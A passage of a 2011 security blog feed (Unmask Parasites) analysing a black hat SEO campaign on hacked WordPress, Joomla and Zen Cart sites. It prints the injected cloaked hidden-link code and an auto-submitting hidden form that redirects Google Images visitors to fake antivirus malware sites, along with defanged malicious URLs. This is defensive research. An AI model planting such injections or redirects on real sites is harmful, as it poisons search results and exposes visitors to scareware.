<li><a href="http://blog.unmaskparasites.com/2011/04/13/unused-programs-real-threats/">Unused Programs – Real Threats</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/09/01/beware-filezilla-doesnt-protect-your-ftp-passwords/">Beware: FileZilla Doesn’t Protect Your Passwords</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=1osNsRMayxs:TsF2a0Kfsa0:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=1osNsRMayxs:TsF2a0Kfsa0:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=1osNsRMayxs:TsF2a0Kfsa0:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=1osNsRMayxs:TsF2a0Kfsa0:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2011/08/23/massive-script-injection-k985ytv/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Two Tweet Weeks: August 8-21, 2011</title>
		<link>http://blog.unmaskparasites.com/2011/08/22/two-tweet-weeks-august-8-21-2011/</link>
		<comments>http://blog.unmaskparasites.com/2011/08/22/two-tweet-weeks-august-8-21-2011/#comments</comments>
		<pubDate>Mon, 22 Aug 2011 15:49:26 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tweet Week]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[BlackHole]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[k985ytv]]></category>
		<category><![CDATA[osCommerce]]></category>
		<category><![CDATA[StopBadware]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=839</guid>
		<description><![CDATA[Selected short messages and links you might have missed if you don’t follow me on Twitter.

August 8, 2011
[markmaunder.com] WordThumb is now TimThumb 2.0 &#8212; please upgrade if your WordPress theme/plugin uses old timthumb.php
August 9, 2011
[theregister.co.uk] Mass WordPress hijack poisons Google Image well &#8212; based on my Friday&#8217;s post
RT @threatpost: Hacked Wordpress Blogs Used to Poison [...]]]></description>
			<content:encoded><![CDATA[<p><em><span style="color: #888888;">Selected short messages and links you might have missed if you don’t <a href="http://twitter.com/unmaskparasites">follow me</a> on Twitter.</span></em></p>
<p><span id="more-839"></span><br />
<span style="color: #888888;"><strong>August 8, 2011</strong></span></p>
<p style="padding-left: 30px;">[markmaunder.com] <a href="http://markmaunder.com/2011/08/05/wordthumb-is-now-timthumb-2-0/">WordThumb is now TimThumb 2.0</a> &#8212; please upgrade if your WordPress theme/plugin uses old timthumb.php</p>
<p><span style="color: #888888;"><strong>August 9, 2011</strong></span></p>
<p style="padding-left: 30px;">[theregister.co.uk] <a href="http://www.theregister.co.uk/2011/08/08/wordpress_hijack_poisons_google_image/">Mass WordPress hijack poisons Google Image well</a> &#8212; based on my Friday&#8217;s post</p>
<p style="padding-left: 30px;">RT <a title="Threatpost" href="http://twitter.com/#%21/threatpost">@threatpost</a>: <a href="http://threatpost.com/en_us/blogs/hacked-wordpress-blogs-used-poison-google-image-search-080811">Hacked Wordpress Blogs Used to Poison Google Image Search</a></p>
<p><span style="color: #888888;"><strong>August 10, 2011</strong></span></p>
<p style="padding-left: 30px;"><a href="http://blog.unmaskparasites.com/2011/08/08/ciscotred-cz-cc-joomla-hack/#update1">update</a> on the &#8220;ciscotred .cz .cc&#8221; attack &#8212; new redirect destination and connection with &#8220;.bee .pl&#8221; attacks</p>
<p style="padding-left: 30px;">If you only knew how many websites of small hosting providers are  hacked! And I mean their own sites, not their clients&#8217; sites&#8230;</p>
<p style="padding-left: 30px;"><a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/#update2">update</a> on the hacked WP blogs  1. Google removed doorways from index, 2. there are cloaked links in legitimate pages</p>
<p><span style="color: #888888;"><strong>August 15, 2011</strong></span></p>
<p style="padding-left: 30px;">[wpmu.org] <a href="http://wpmu.org/what-lurks-in-the-wordpress-plugin-repository/">What Lurks in the WordPress Plugin Repository?</a> &#8212; via <a rel="nofollow" href="http://twitter.com/SiobhanPMcKeown">@SiobhanPMcKeown</a></p>
<p style="padding-left: 30px;">Google PageRank 5 for a new domain in six months? Easy! &#8211; <a href="http://blog.unmaskparasites.com/2011/08/14/following-the-black-hat-seo-traces/#anomaly">analysis of SEO progress of a poker site</a> (black hat)</p>
<p><span style="color: #888888;"><strong>August 16, 2011</strong></span></p>
<p style="padding-left: 30px;">RT <a title="StopBadware" href="http://twitter.com/#%21/stopbadware">@stopbadware</a>: <a href="http://blog.stopbadware.org/2011/08/16/stopbadware-introduces-we-stop-badware-program-for-web-hosting-providers">StopBadware debuts We Stop Badware™ Web Host program</a> for hosting providers committed to protecting users from badware</p>
<p style="padding-left: 30px;">RT <a rel="nofollow" href="http://twitter.com/teamcymru">@teamcymru</a> <a href="http://www.v3.co.uk/v3-uk/news/2102153/hackers-botnets-bypass-google-map-attack-victims/">using botnets to search for 80k &#8216;Google Dorks&#8217; to streamline hacker target selection</a></p>
<p><span style="color: #888888;"><strong>August 17, 2011</strong></span></p>
<p style="padding-left: 30px;">[lightbluetouchpaper.org] <a href="http://www.lightbluetouchpaper.org/2011/08/10/measuring-search-redirection-attacks-in-the-illicit-online-prescription-drug-trade/">Measuring Search-Redirection Attacks in the Illicit Online Prescription Drug Trade</a></p>
<p style="padding-left: 30px;">RT <a title="StopBadware" href="http://twitter.com/#%21/stopbadware">@stopbadware</a>: Please help <a rel="nofollow" href="http://twitter.com/sans_isc">@sans_isc</a> with a <a href="http://isc.sans.edu/survey/4/">survey about the most dangerous (in terms of vulnerabilities/exploits) web platforms</a></p>
<p style="padding-left: 30px;">RT <a title="Threatpost" href="http://twitter.com/#%21/threatpost">@threatpost</a>: <a href="http://threatpost.com/en_us/blogs/mozilla-fixes-10-bugs-release-firefox-6-081711">New version of Firefox fixes 10 vulns</a>, several of them critical flaws that could allow remote code execution.</p>
<p style="padding-left: 30px;">[h-online.com] <a href="http://www.h-online.com/security/features/Rapid-relief-for-osCommerce-administrators-1324235.html">Rapid relief for osCommerce administrators</a> &#8212; hardening outdated osCommerce sites</p>
<p><span style="color: #888888;"><strong>August 18, 2011</strong></span></p>
<p style="padding-left: 30px;">[Google Online Security] <a href="http://googleonlinesecurity.blogspot.com/2011/08/four-years-of-web-malware.html/">Four Years of Web Malware</a> &#8212; analysis of Safe Browsing data</p>
<p style="padding-left: 30px;">[armorize.com] <a href="http://blog.armorize.com/2011/08/k985ytvhtm-fake-antivirus-mass.html">k985ytv mass compromise ongoing, spreads fake antivirus</a> &#8212; Windows version dependent scareware sites</p>
<p><span style="color: #888888;"><strong>August 19, 2011</strong></span></p>
<p style="padding-left: 30px;">Owners of WordPress blogs: check the series of articles about timthumb-related malware attacks on <a href="http://blog.sucuri.net/">Sucuri blog</a> ﻿﻿</p>
<p style="padding-left: 30px;">RT <a title="Steven" href="http://twitter.com/#%21/Xylit0l">@Xylit0l</a>: MalwareIntelligence Black Hole Exploits Kit 1.1.0 Inside  [<a href="http://malwareint.blogspot.com/2011/08/black-hole-exploits-kit-110-inside.html">english</a>] [<a href="http://mipistus.blogspot.com/2011/08/black-hole-exploit-kit-110-inside.html">Spanish</a>]</p>
<p>If you want more real-time experience, you can follow <a href="http://twitter.com/unmaskparasites">@UnmaskParasites</a> on Twitter.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li> <a href="http://blog.unmaskparasites.com/category/tweet-week/">Previous Tweet Weeks</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=Ley4JQ2oSuU:TJiT7aqydU8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=Ley4JQ2oSuU:TJiT7aqydU8:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=Ley4JQ2oSuU:TJiT7aqydU8:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=Ley4JQ2oSuU:TJiT7aqydU8:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2011/08/22/two-tweet-weeks-august-8-21-2011/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Following the Black Hat SEO Traces</title>
		<link>http://blog.unmaskparasites.com/2011/08/14/following-the-black-hat-seo-traces/</link>
		<comments>http://blog.unmaskparasites.com/2011/08/14/following-the-black-hat-seo-traces/#comments</comments>
		<pubDate>Sun, 14 Aug 2011 13:17:11 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[backlinks]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[hidden links]]></category>
		<category><![CDATA[Image Search]]></category>
		<category><![CDATA[Joomla]]></category>
		<category><![CDATA[MajesticSEO]]></category>
		<category><![CDATA[rankexplorer]]></category>
		<category><![CDATA[redirects]]></category>
		<category><![CDATA[scareware]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Yahoo Site Explorer]]></category>
		<category><![CDATA[Zen Cart]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=837</guid>
		<description><![CDATA[This is a follow up to my last week&#8217;s post about hacked WordPress blogs and poisoned Google Images search results. Cyber-criminals infiltrated 4,000+ self-hosted WP blogs and created doorway pages that would redirect visitors coming from Google Images search to scareware sites. A few days ago I posted a short update to let you know [...]]]></description>
			<content:encoded><![CDATA[<p>This is a follow up to my last week&#8217;s post about <a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/">hacked WordPress blogs and poisoned Google Images search results</a>. Cyber-criminals infiltrated 4,000+ self-hosted WP blogs and created doorway pages that would redirect visitors coming from Google Images search to scareware sites. A few days ago I posted a <a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/#update2">short update</a> to let you know that Google has removed the doorway pages from its index. I also promised to share some new interesting details about that black hat SEO campaign. So here we go!<br />
<span id="more-837"></span></p>
<h3 id="cloaked">Cloaked links</h3>
<p>To have Google discover and index rogue doorway pages, the attackers needed to place links on web pages that Google already knows about and regularly crawls.  One of the popular approaches is to <a href="http://blog.unmaskparasites.com/2011/06/29/google-image-poisoning-whats-new-in-june/#links">create free websites  and post links there</a> (there are many services that allow to do it). However, in this particular case I couldn&#8217;t find such external links.</p>
<p>Then I checked cached versions of legitimate web pages on the hacked sites and found the following code right before the closing &lt;/body&gt; tag.</p>
<p><code>&lt;style&gt;#<strong>alkg</strong> {position:absolute;overflow:auto;<strong>height</strong>:<strong>0</strong>;<strong>width</strong>:<strong>0</strong>;}&lt;/style&gt;&lt;font id="<strong>alkg</strong>"&gt;&lt;a href="http://example.com/?ccc=niger-culture-picture"&gt;niger culture picture&lt;/a&gt;&lt;br /&gt;...&lt;a href="http://example.com/?ccc=eric-ogbogu-picture"&gt;eric ogbogu picture&lt;/a&gt;&lt;br /&gt;&lt;a href="http://rankexplorer.com"&gt;Poker Software&lt;/a&gt;&lt;/font&gt;</code></p>
<p>The code cannot be found if you open the same web page in a browser. This means that hackers used cloaking to feed these links to search engine spiders only.</p>
<p>This code defines an <em>invisible</em> style (height:0; width:0) and then lists dozens to hundreds of links to doorway pages on that site inside the &lt;font&gt; block that has that invisible style. The name of that style is a random combination of four letters and it changes from site to site.</p>
<p>This trick prevents webmasters form seeing the spammy links when they check cached web pages (of course, unless they scrutinize the HTML code) and at the same time provides links that don&#8217;t look like invisible to Googlebot (I guess Google is well aware of such tricks though ;-) ).</p>
<p>The placement of this spammy code makes me think that hackers injected it into the <em>footer.php</em> file of the blogs&#8217; themes. Most likely the actual code is encrypted (e.g. with the <strong>base64_decode</strong> or some other obfuscation trick) so check the code right before the &lt;/body&gt; tag.</p>
<h3 id="anomaly">SEO Anomaly</h3>
<p>I noticed one interesting thing. Every link block on every hacked site has a link to <span style="color: #993300;"><em>rankexplorer .com</em></span>. The anchor text is always the same: <em>Poker Software</em>.</p>
<p>The domain was registered on <em>February 21st, 2011</em> and already has PageRank <strong>5</strong>. That was very suspicious. Only very popular sites can get PR5 in such a short time. So I decided to check who linked to the <em>rankexplorer</em> site and how seriously those links on the hacked sites contribute to this rapid progress.</p>
<h3 id="yse">Yahoo Site Explorer</h3>
<p>First, I checked external backlinks using <a href="http://siteexplorer.search.yahoo.com/search?p=rankexplorer.com&amp;bwm=i&amp;bwmo=d&amp;bwmf=s" target="_blank">Yahoo Site Explorer</a>:</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/08/yahoo-site-explorer.gif" border="0" alt="Yahoo Site Explorer" /></div>
<p>The report says there are <strong>1,858,186</strong> external links to <strong>7</strong> pages on this site. Impressive!</p>
<p>It was clear that sites at the top of the list were hacked. But it was not clear how many of those <strong>1,800,000+</strong> links are from hacked sites and if there are many (or rather any) legitimate links. Moreover, YSE doesn&#8217;t distinguish &#8220;doFollow&#8221; and &#8220;noFollow&#8221; links so it&#8217;s hard to use this report to tell which links actually contribute to the high PageRank. (For example, there can be many &#8220;noFollow&#8221; links from spammy blog comments and forum posts).</p>
<h3 id="majesticseo">MajesticSEO Site Explorer</h3>
<p>So the next step was a more thorough investigation using <a href="https://www.majesticseo.com/">MajesticSEO Site Explorer</a>. MajesticSEO maintains quite a fresh index (updated 2-3 times a day) and its size is comparable to that of Yahoo (they <a href="http://blog.majesticseo.com/general/yahoo-site-explorer-is-dead-long-live-majestic-site-explorer/" target="_blank">claim</a> that only Google has a larger index). What&#8217;s more important, they provide various backlink reports that allow to easily spot interesting patterns and anomalies.</p>
<p>Lets begin with the <a href="https://www.majesticseo.com/reports/site-explorer/summary/rankexplorer.com?IndexDataSource=F" target="_blank">Domain Information report</a>:</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/08/domain-information.gif" border="0" alt="Domain Information" /></div>
<p>Well, the number of external links here is significantly smaller than in Yahoo Site Explorer. But we should not forget that this is a &#8220;<em>fresh index</em>&#8221; and we deal with hacked sites that get cleaned up once their webmasters notice the hack.</p>
<p>The useful information here is:</p>
<ul>
<li>very few link are &#8220;NoFollow&#8221; &#8211; <strong>0.3</strong>% (so the comment and forum spam is not the case)</li>
<li>quite a few deleted links &#8211; (webmasters remove spammy links from hacked sites)</li>
<li>domains/links ratio suggests that multiple pages of the same site link to <span style="color: #993300;"><em>rankexplorer</em></span> &#8212; quite typical for spammy links.</li>
<li>most of the linking sites reside on different servers and even on different subnetworks  &#8211; (they are not just from one hacked server).</li>
</ul>
<p>The same report has a &#8220;Referring Domains&#8221; history graph</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/08/reffering-domains-graph.jpg" border="0" alt="Reffering domains graph" /></div>
<p>You can see a spike on July 20th. This matches the <a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/#timestamps">beginning</a> of the black hat SEO campaign.</p>
<p>The &#8220;Top Pages&#8221; report shows that <strong>all</strong> external links point to the home page only. That&#8217;s not typical even for a small site with so many backlinks.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/08/top-pages.png" border="0" alt="Top Pages" /></div>
<p>The most revealing data can be found in the Top Backlinks report. It provides a list of up to 2,500 referring URLs (Majestic Silver plan) in order of their significance for SEO along with the anchor text (!) of the backlinks.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/08/top-backlinks.png" border="0" alt="Top Backlinks" /></div>
<p>Main insights:</p>
<ul>
<li>Out of <strong>2,500</strong> backlinks , <strong>2,426</strong> (97%) have the &#8220;<em>poker software</em>&#8221; anchor text &#8211; (This anchor text is used on hacked sites)</li>
<li><strong>60</strong> backlinks (2.4%) have the &#8220;<em>poker statistics</em>&#8221; anchor text. They are hidden links on a few supposedly hacked sites (different attack though). The spammy code look like this:<br />
<span style="color: #993300;">&lt;div style=&#8221;<strong>display:none</strong>&#8220;&gt;&lt;li&gt;&lt;a href=&#8221;hxxp://<strong>rankexplorer .com</strong>&#8220;&gt;Poker Statistics&lt;/a&gt;&lt;/li&gt;&lt;/div&gt;</span></li>
<li>The rest 13 links can be easily neglected.
<ul>
<li>One of them comes from Baidu search results (why does MajesticSEO index Baidu SERPs?!)</li>
<li>Six &#8220;<em>software de poker</em>&#8221; and &#8220;&#8221;<em>poker mjukvara</em>&#8220;&#8221; are from a hacked site that uses some sort of auto-translation that translated all spammy links into Spanish and Swedish ;-)</li>
</ul>
</li>
</ul>
<p>And finally, the &#8220;Referring Domains&#8221; report shows that most of the domains can also be found in my list of WordPress sites affected by <a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/">this black hat SEO attack</a>.</p>
<p>So the backlink analisys clearly shows that the <span style="color: #993300;"><em>rankexplorer .com</em></span> owes its high PageRank <em><strong>exclusively</strong></em> to black hat techniques.</p>
<h3 id="effects">PageRank vs real SERP positions</h3>
<p>Was it worth the effort for <em><span style="color: #993300;">rankexplorer</span></em>? Not that much. If we search for [<span style="color: #333399;">poker software</span>] or even for [<span style="color: #333399;">"poker software"</span>] on all major search engines, the <span style="color: #993300;"><em>rankexplorer</em></span> is nowhere near the top. The top two Google search results for this query currently link to sites with PageRank <strong>4</strong>, and #3 has PR<strong>3</strong>! As Matt Cutts always says: PageRank is only one of many factors that affect site position in search results.</p>
<p>So were all the spammers&#8217; efforts futile? Not exactly. For some queries (I won&#8217;t call them popular) you can find the <em><span style="color: #993300;">rankexplorer</span></em> on the first page of search results. Currently it is <strong>#4</strong> for the <span style="color: #333399;">["poker statistics analyzer"</span>] query.</p>
<p>Interesting sidenote. Out of all major search enignes, Baidu (#1 search engine in China!) is the most susceptible to the <span style="color: #993300;"><em>rankexplorer</em></span>&#8217;s black hat SEO campaign:</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/08/baidu.gif" border="0" alt="Baidu" /></div>
<h3 id="generation">Previous generation of this campaign</h3>
<p>The MajesticSEO&#8217;s reports helped me find some sites where the injected code and doorway pages were different than in the attack that I <a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/">described</a> last week. Moreover, some of the sites were not WordPress blogs. After some additional analysis, I figured out it was a previous generation of the same attack. Here are the details:</p>
<h4 id="links">Link blocks</h4>
<p>Checking cached versions (Google cache) of legitimate pages on the compromised sites, I found a familiar cloaked blocks of hidden  link that used the <strong>style/font</strong> trick:</p>
<p><code>&lt;style&gt;#<strong>xhxq</strong> {position:absolute;overflow:auto;<strong>height</strong>:<strong>0</strong>;<strong>width</strong>:<strong>0</strong>;}&lt;/style&gt;&lt;font id="<strong>xhxq</strong>"&gt;&lt;li&gt;&lt;a href="http://example.com/?olg=55680"&gt;80s movie posters&lt;/a&gt;&lt;/li&gt;<br />
<strong>...skipped..</strong><br />
&lt;a href="hxxp://<strong>rankexplorer .com</strong>"&gt;Poker Software&lt;/a&gt;<br />
<strong>...skipped..</strong><br />
&lt;li&gt;&lt;a href="http://www.example.org/?eea=go.php5"&gt;powered by smf best back up software&lt;/a&gt;&lt;/li&gt;&lt;/font&gt;</code></p>
<p>However, instead of linking to doorways on the same site, those blocks linked to doorways on multiple third party sites (usually about 50 unique sites in one block). And the <span style="color: #993300;"><em>rankexplorer</em></span> link was in the middle of the block this time.</p>
<p>This cross-linking scheme helped me identify <strong>700</strong>+ hacked sites. Most of them can be identified as<strong> WordPress</strong> blogs, <strong>Joomla</strong> sites and <strong>Zen Cart</strong> online stores.</p>
<h4 id="patterns">URL patterns</h4>
<p>The most common URL patterns of the doorway pages are:</p>
<p><span style="color: #993300;">example.com/[a-z]{3,4}=&lt;random&gt;.&lt;extension&gt;</span>, where <span style="color: #993300;">&lt;random&gt;</span> is a random combination of characters, digits and hyphens, and <span style="color: #993300;">&lt;extension&gt;</span> is a one of the popular file extensions of web pages (html|htm|shtml|php|php3|php4|php5|phtml|jsp|asp). The extension part can be missing.</p>
<p>Examples:</p>
<ul>
<li>example.co.uk/?mrx=zc-31.html</li>
<li>example.com/?jlq=bi5k5.phtml</li>
<li>example.de/?pce=9mlbqc.htm</li>
<li>example.eu/?tnj=57720.php3</li>
<li>example.cl/?slf=9283-upfy</li>
</ul>
<p>Another popular doorway URL pattern is <span style="color: #993300;">example.org/[a-z]{3}-&lt;keywords&gt;.&lt;extension&gt;</span>, where <span style="color: #993300;">&lt;keywords&gt;</span> are hyphen separated keywords targeted by the doorway page.</p>
<p>Examples:</p>
<ul>
<li>example.com/qlv-wallpapers-cowgirl-stock-photos.asp (note, this page is on a Linux server that has no ASP)</li>
<li>example.net/qxr-trail-of-tears-coloring-pages.php5</li>
<li>example.se/lck-multiplication-chart-1-500.html</li>
</ul>
<p>And the combination of the above two patterns: <span style="color: #993300;">example.net/[a-z]{3,4}=&lt;keywords&gt;.&lt;extension&gt;</span></p>
<ul>
<li>example.org/?jyw=make-your-own-art-online.php4</li>
<li>example.com/?liz=sample-1023-arts-organization.shtml</li>
<li>example.net/?klb=dem-mac-martial-arts.php</li>
<li>example.es/?jys=art-of-8000-bce-500-ce</li>
</ul>
<h4 id="chronology">Chronology of the attack</h4>
<p>Some of the websites have already been cleaned up. On such sites, I can only find the spammy content in 2-3 months&#8217; old cached copies, which proves that this attack was active around May 2011. We can find one more evidence of this in the MajesticSEO report for the notorious <span style="color: #993300;"><em>rankexplorer .com</em></span> site that uses its &#8220;<em>historic</em>&#8221; index.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/08/historic-index.png" border="0" alt="Historic index" /></div>
<p>This graph shows that MajesticSEO began to index links to <em><span style="color: #993300;">rankexplorer .com</span></em> (and we know they all come from hacked sites) in April. Then the was a peak in May (new indexed domains referencing <em><span style="color: #993300;">rankexplorer</span></em>). Almost <strong>0</strong> new domains in June and then another uptrend in July (which corresponds to the <a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/">attack against WordPress blogs</a> that I described last week)</p>
<h3 id="malicious">Still malicious</h3>
<p>Although that wave of the black hat SEO campaign has been idle for at least a couple of months now, many of the compromised sites still contain malicious web pages. As in the most recent attack, they only redirect visitors to scareware sites if they come from Google Images search (clicking on web search results won&#8217;t trigger the redirect.)</p>
<h4>Redirects</h4>
<p>For visitors from Google Images, the doorway generate a page with an invisible form and a JavaScript that automatically clicks on the form button, which effectively redirects a browser to a Fake AV site:</p>
<p><code>&lt;html&gt;&lt;head&gt;<br />
&lt;script&gt;<br />
function TDov(){setTi meout('ob()', 1);document.getElementById('go').<strong>click</strong>();}<br />
function F99FAEE4E1A331A7595932B7C18F9F5F6(){try{history.forward();}catch(e){}setTim eout('ob()', 10);}<br />
&lt;/script&gt;<br />
&lt;/head&gt;&lt;body onLoad='TDov()'&gt;<br />
&lt;<strong>form</strong> action='hxxp://<strong>atomiccanyon .com</strong>/BrightonFestival2009/xmlrpc.php?<strong>k</strong>=fredericksburg+tx+historic+district+map&amp;<strong>s</strong>=google&amp;<strong>r</strong>=http%3A%2F%2Fwww.google.com%2Fimgres%3Fimgurl%3<strong>...skipped..</strong>' method='POST' target='_top'&gt;<br />
&lt;button type='submit' id='go' style='<strong>visibility:hidden</strong>'&gt;&lt;/button&gt;&lt;/form&gt;<br />
&lt;/body&gt;&lt;/html&gt;</code></p>
<p>As you can see, the URL structure resembles the structure of <a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/#redirects">the first URL in the redirect chain</a> of the ongoing attack.</p>
<p>Some of the sites also use a similar form URL on the <em><span style="color: #993300;"><strong>cricketfunde .com</strong></span></em> domain.</p>
<p>Then, this intermediary URL redirects visitors to actual fake AV sites. Currently, they use multiple <em><span style="color: #993300;"><strong>*.rr.nu</strong></span></em> domains:</p>
<ul>
<li><span style="color: #993300;">hxxp://<strong>www4.powersecurityex .rr .nu</strong>/?hch86z0i65=jNjRnHOtYpxcpdnTtJiY59nPst&#8230;</span></li>
<li><span style="color: #993300;">hxxp://<strong>www3. powergcjsentinel .rr .nu</strong>/?39gnl9=V67Q0qlrqKad1dvLoJ2Z2eLgpqCWoWie&#8230;</span></li>
<li><span style="color: #993300;">hxxp://<strong>www1 .simplecwahscanner .rr .nu</strong>/2dgnv5l5k?4h6xtulyq2=WNKj2%&#8230;.</span></li>
</ul>
<p>They seem to be changing every day. Old domain expire quite quickly. When I last checked, they used the <strong>79 .133 .196 .117</strong> address.</p>
<h4 id="malware">Malware</h4>
<p>The binary download begins from a different (although similar) domain:</p>
<ul>
<li>hxxp://<strong>www2 .thebest-mhcleaner .rr .nu</strong>/<strong>duqr211_323.php</strong>?xw0lonwp=nOGdz%2B&#8230;%3D%3D</li>
<li>hxxp://<strong>www2 .bestsuitehri .rr .nu</strong>/<strong>yvbt211_323.php</strong>?o5aayuuvor=k63E0Lbu&#8230;%3D%3D</li>
</ul>
<p>The downloaded file have names like <a href="http://www.virustotal.com/file-scan/report.html?id=79445aa09ed88199b759aff8d79f1eaf476d00f7f376e87258d4340c60207dd4-1313092439" target="_blank">fix_pack107d_323.exe</a> and <a href="http://www.virustotal.com/file-scan/report.html?id=2fb82914c773d8ef63e45b7eb819a36d80903b95ec5b35f27941fe689653b71f-1313169909" target="_blank">fix_pack211d_323.exe</a> (links to VirusTotal reports) and their detection rates are usually less than <strong>30</strong>%.  I <a href="http://www.virustotal.com/file-scan/report.html?id=79445aa09ed88199b759aff8d79f1eaf476d00f7f376e87258d4340c60207dd4-1313171214" target="_blank">rechecked one file 20 hours later</a> and it&#8217;s detection rate improved from <strong>27</strong>% to <strong>33</strong>% &#8211; by that time the malicious server began to serve a different variation of the same file.</p>
<h4 id="mac">Redirects for Macs</h4>
<p>For Mac users, the redirect chain is different:</p>
<p><span style="color: #993300;"><strong>www4 .powersecurityex .rr .nu</strong></span> -&gt; <span style="color: #993300;"><strong>rdr .cz .cc</strong>/go.php?7&amp;said=323</span> -&gt;  <span style="color: #993300;"><strong>www .moviedir .com</strong>/1093251</span></p>
<p>By the way, the <span style="color: #993300;"><em><strong>moviedir</strong></em></span> site has Google PageRank <strong>4</strong>. And it shouldn&#8217;t be a surprise that many of its backlinks are from hacked sites.</p>
<h3 id="google">Google strikes back</h3>
<p>While hacked site still contain malicious code and may redirect Image searches to dangerous sites, Google has done a great job to mitigate the problem and removed the doorway page from its index.</p>
<p>I checked many hacked sites using the <strong>site:</strong> operator in Google search. Only very few of them had indexed doorways. And even when I could find links to doorways in web search results, Image search results for the same sites were free from poisoned images! (I have a feeling that for some hacked sites Google removed legitimate images as well)</p>
<p>I have also noticed the &#8220;<em>This site may be compromised</em>&#8221; warning on search results for home pages of many hacked sites.</p>
<p>At this time, both generations of this particular Google Image poisoning campaign seem to be neutralized by Google. Good job!</p>
<p><span style="color: #333333;">##</span><br />
Removing poisoned links from search result doesn&#8217;t completely solves the problem. There are still thousands of compromised sites that criminals can reuse for different attacks. Moreover, I still don&#8217;t have reliable information about the attack vector (what security holes hackers exploit and how they integrate malicious code into legitimate websites), so millions of WordPress blogs and Joomla sites are potentially vulnerable to similar attacks. If you have any information, please share it in comments or <a href="http://blog.unmaskparasites.com/contact/">contact me directly</a>.</p>
<p>If you work in a security department of a large shared hosting provider, <a href="http://blog.unmaskparasites.com/contact/">please contact me</a>. The chances are I know some compromised sites on your servers (<strong>5,000+</strong> sites on my list,  typically 1-2 sites per IP, but sometimes up to 300). Together we can find out what&#8217;s going on.</p>
<p>Thank you!</p>
<p><span style="color: #808080;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/">Hacked WordPress Blogs Poison Google Images</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/05/05/thousands-of-hacked-sites-seriously-poison-google-image-search-results/">Thousands of Hacked Sites Seriously Poison Google Image Search Results</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
<div class="feedflare">
